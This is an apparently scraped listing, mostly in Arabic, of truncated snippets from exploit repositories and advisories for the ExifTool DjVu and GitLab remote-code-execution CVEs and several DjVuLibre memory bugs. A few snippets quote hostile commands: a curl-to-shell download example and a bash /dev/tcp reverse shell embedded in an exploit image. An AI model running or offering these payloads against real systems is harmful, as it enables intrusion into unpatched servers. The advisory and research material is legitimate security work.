DjVuLibre-poc-CVE-2025-53367

1- ما هو DjVu؟ DjVu تُنطق "ديجا فو" هي مجموعة من تقنيات الضغط، وتنسيق ملفات، ومنصة برمجية لتقديم المستندات الرقمية والمستندات الممسوحة ضوئيًا والصور عالية الدقة عبر الويب. تنزّل مستندات DjVu وتُعرَض بسرعة فائقة، وتبدو متطابقة تمامًا على جميع المنصات. يمكن اعتبار DjVu بديلاً متفوقًا على PDF و...

CVE-2021-22204

CVE-2021-22204 - تنفيذ التعليمات البرمجية عن بُعد في Exiftool الوصف مؤخرًا، اكتشف الباحث wcbowling ثغرة أمنية في أداة Exiftool، تتيح لجهة خبيثة تنفيذ هجوم عن بُعد لتشغيل التعليمات البرمجية. تم العثور على هذه الثغرة ضمن برنامج مكافآت الثغرات الأمنية في Gitlab، حيث يستخدمون هذه الأداة كتبعية لمنتجه...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 هذا مجرد سكريبت ملائم كتبته للاختبار. Output Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...

exploit-CVE-2021-22204

استغلال لـ CVE-2021-22204 ExifTool - تنفيذ أكواد عشوائي أعجبك هذا المستودع؟ امنحنا ⭐! لأغراض تعليمية وبحثية أمنية مرخصة فقط. مؤلف الاستغلال @UNICORDev بواسطة @NicPWNs و @Dev-Yeoj وصف الثغرة التحييد غير السليم لبيانات المستخدم في تنسيق ملف DjVu في ExifTool من الإصدار 7.44 فما فوق يسمح بتنفيذ أكواد...

CVE-2021-22204

الإصدار المعرض للخطر 7.44 12.23 إعادة الإنتاج $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg لقطة الشاشة المرجع NVD-CVE-2021-22204...

Gitlab-CVE-2021-22205

ثغرة تنفيذ أكواد عن بُعد دون مصادقة على Gitlab الإصدار -c تم اختباره على الإصدار 13.10.1-ce.0...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell إصدار الاختبار بناء أمر لإنشاء استغلال الثغرة echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh استغلال djvumake لإنشاء صورة الاستغلال import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

CVE-2021-22205

CVE-2021-22205 نسخة Fork مبنية على mr-r3bot/Gitlab-CVE-2021-22205 نبذة CVE-2021-22205: EXP لثغرة تنفيذ التعليمات البرمجية عن بُعد بدون ترخيص في Gitlab تمت إزالة الاعتماد على djvumake وdjvulibre، ويتم توليد الحمولة payload داخليًا مباشرة، ويمكن تنفيذها على منصة ويندوز. طريقة الاستخدام 需要授权 python3...

CVE-2021-22204

CVE-2021-22204 الوصف يؤدي التعادل غير السليم لبيانات المستخدم في تنسيق ملف DjVu في إصدارات ExifTool 7.44 وما فوق إلى تنفيذ تعليمات برمجية عشوائية عند تحليل الصورة الخبيثة. السكربت رابط السكربت استخدام السكربت: أمر النظام: bash CVE-2021-2204.sh "system'id'" happy.jpg قذيفة عكسية bash...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A heap buffer overflow occurs in the function DJVU::GBitmap::decode, due to a malicious djvu file, which may lead to the application crashing and other related issues...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A malicious read operation in the function DJVU::DataPool::hasdata, through a crafted djvu file, may cause the application to crash and lead to other issues...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the DjVmDir.cpp file within the DJVU reader component allows attackers to cause a denial-of-service attack resulting in a crash of the application by creating a DJVU file that triggers a heap-based buffer overflow attack in the GStringRep::strdup function within...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the sorting functionality also known as GArrayTemplate::sort allows attackers to cause a denial-of-service attack, resulting in an application crash due to uncontrolled recursion. This can occur when a PBM image file is mishandled in the libdjvu/GContainer.h header file...

Astra Linux – Vulnerability in libimage-exiftool-perl

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and above allows arbitrary code execution when parsing the malicious image...

CVE-2021-22204

CVE-2021-22204 ملخص الثغرة يسمح التعقيم غير السليم لبيانات المستخدم في تنسيق ملف DjVu في ExifTool الإصدارات 7.44 وما فوق بتنفيذ تعليمات برمجية عشوائية عند تحليل الصورة الخبيثة. الإصدارات المتأثرة الإصدار 7.44 - 12.23 الشذوذ التبعيات: djvulibre-bin exiftool يستدعي هذه الأوامر الثلاثة: bzz, dvjumak...

CVE-2021-22205

CVE-2021-22205 RCE قبل المصادقة عبر exiftool على Gitlab CE/EE ملخص الـ CVE يستخدم GitLab أداة ExifTool لفحص كل ملف tiff/jpeg/jpg لإزالة أي علامات غير مصرح بها. ولكن لأن ExifTool لا يستخدم امتدادات الملفات لتحديد نوع الملف بل يستخدم محتوى الملف، مما يسمح للمهاجم برفع أي ملف، وإعادة تسميته إلى...

dejavu

DejaVu تعمل هذه الحاوية على تشغيل تطبيق ويب يقوم بتحليل الصور وإرجاع بياناتها الوصفية باستخدام exiftool. يرسل المستخدمون إلى التطبيق رابطًا لصورة، وسيقوم التطبيق بجلبها وتحليلها وإرجاع النتائج. إصدار exiftool المستخدم في التطبيق معرض للثغرة CVE-2021-22204، حيث أن وحدة ملفات DjVu تحتوي على دالة ev...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE المستودعات الأصلية : https://github.com/CsEnox/Gitlab-Exiftool-RCE يعود الفضل إلى CsEnox. استغلال RCE لـ Gitlab 13.10.3 يقوم GitLab Workhorse بتمرير أي ملف إلى ExifTool. الخلل الحالي موجود في وحدة DjVu الخاصة بـ ExifTool. يمكن لأي شخص لديه القدرة على رفع صورة تمر عبر GitLab...

CVE-2021-22204

CVE-2021-22204 - ExifTool 任意代码执行 这是针对 CVE-2021-22204 的升级版概念验证（PoC），该漏洞影响 ExifTool 7.44 至 12.23 版本，在处理恶意 DjVu 文件时可导致任意代码执行。 致谢 本文为衍生作品。该漏洞及原始利用代码并非本人所发现。 角色| 人员 ---|--- 漏洞发现者| William Bowling @wcbowling，通过 GitLab 漏洞赏金计划提交 — 2021 年 4 月 原始 PoC 作者| UNICORD NicPWNs & Dev-Yeoj 本仓库修改者| d4ytox 描述 ExifToo...

CLEANSTART-2023-SN97100 out-of-bounds write vulnerability was found in DjVuLibre in DJVU::DjVuTXT::decode() in DjVuText

Security vulnerability affects the djvulibre package. An out-of-bounds write vulnerability was found in DjVuLibre in DJVU::DjVuTXT::decode in DjVuText...